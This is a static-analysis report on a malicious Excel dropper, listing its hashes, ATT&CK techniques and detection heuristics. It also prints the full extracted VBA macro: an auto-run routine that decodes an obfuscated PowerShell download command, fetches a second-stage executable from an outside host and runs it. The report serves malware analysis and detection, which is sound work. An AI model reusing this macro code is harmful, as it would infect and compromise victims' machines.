Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e79e480b04243d68…

MALICIOUS

Office (OOXML)

410.7 KB Created: 2020-05-12 00:11:58 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 52402cc169489939833439990ffbd3d0 SHA-1: 98e9d890c5cf200a1e78017883b8b67ff38a6289 SHA-256: e79e480b04243d68d48563d7133cbddd64865acb7978d280ba68aca91cd03a79
388 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

This Excel document contains a Workbook_Open VBA macro that is designed to execute a command. The macro uses a character-shift decoding function to construct a command that is then executed via the Shell() function. This behavior is indicative of a dropper malware that downloads and executes a second-stage payload, as suggested by the ClamAV detection signature 'Xls.Dropper.Agent-7784970-0'.

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-7784970-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7784970-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2419 bytes
SHA-256: 24697bb325a51543f14fe1601620240fe148e339eaa3dac9bcf3327bd55a85d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (KWiWMMvwDMscNHvOesrIGNHbQxJHHNrzHTAqgZxOSCVVPrcnFCmBkaw("‡†Ž|‰Š |ƒƒE|�|7D|�|zŒ‹€†…‡†ƒ€z�7y�‡xŠŠ7Dn7_€{{|…7Dz†„„x…{7?…|ŽD†y�|z‹7j�Š‹|„Ee|‹En|yZƒ€|…‹@E[†Ž…ƒ†x{]€ƒ|?> ‹‹‡QFFxx‰†…‹�|€‹E…|‹F‘�F`…�†€z|E|�|>C;|…�Qk|„‡B>s€…�†€z|E|�|>@"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
adsa
End Sub
Private Sub adsa()
Shell (Environ(KWiWMMvwDMscNHvOesrIGNHbQxJHHNrzHTAqgZxOSCVVPrcnFCmBkaw("k|„‡")) + "\" + KWiWMMvwDMscNHvOesrIGNHbQxJHHNrzHTAqgZxOSCVVPrcnFCmBkaw("€…�†€z|E|�|"))
End Sub
   Public Function KWiWMMvwDMscNHvOesrIGNHbQxJHHNrzHTAqgZxOSCVVPrcnFCmBkaw(SOGbPDooLpsqOcEDZPcpYrHhYpWBZvqkhXhcZyigzOfBXBifWzNGHkX As String)
        Dim nVPJSMYoBnJZiXreUUfgYhJJsflIIKfKRUvDVOdheJQoPcNBUEBkEQS As Integer, GLbmIbkfMHydObnIFMxCkRpOPRjoEIQGABpNOwpGOeYhmUUuBRQtbND As Integer
        nVPJSMYoBnJZiXreUUfgYhJJsflIIKfKRUvDVOdheJQoPcNBUEBkEQS = 23
        For GLbmIbkfMHydObnIFMxCkRpOPRjoEIQGABpNOwpGOeYhmUUuBRQtbND = 1 To Len(SOGbPDooLpsqOcEDZPcpYrHhYpWBZvqkhXhcZyigzOfBXBifWzNGHkX)
            Mid(SOGbPDooLpsqOcEDZPcpYrHhYpWBZvqkhXhcZyigzOfBXBifWzNGHkX, GLbmIbkfMHydObnIFMxCkRpOPRjoEIQGABpNOwpGOeYhmUUuBRQtbND, 1) = Chr(Asc(Mid(SOGbPDooLpsqOcEDZPcpYrHhYpWBZvqkhXhcZyigzOfBXBifWzNGHkX, GLbmIbkfMHydObnIFMxCkRpOPRjoEIQGABpNOwpGOeYhmUUuBRQtbND, 1)) - nVPJSMYoBnJZiXreUUfgYhJJsflIIKfKRUvDVOdheJQoPcNBUEBkEQS)
        Next GLbmIbkfMHydObnIFMxCkRpOPRjoEIQGABpNOwpGOeYhmUUuBRQtbND
        KWiWMMvwDMscNHvOesrIGNHbQxJHHNrzHTAqgZxOSCVVPrcnFCmBkaw = SOGbPDooLpsqOcEDZPcpYrHhYpWBZvqkhXhcZyigzOfBXBifWzNGHkX
    End Function
      

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 0e5e52ea5cc1eab2c5e4f27ffcd442b0231f21bf330dbff4b51658833edfc6bb
Detection
ClamAV: Xls.Dropper.Agent-7784970-0
Obfuscation or payload: unlikely

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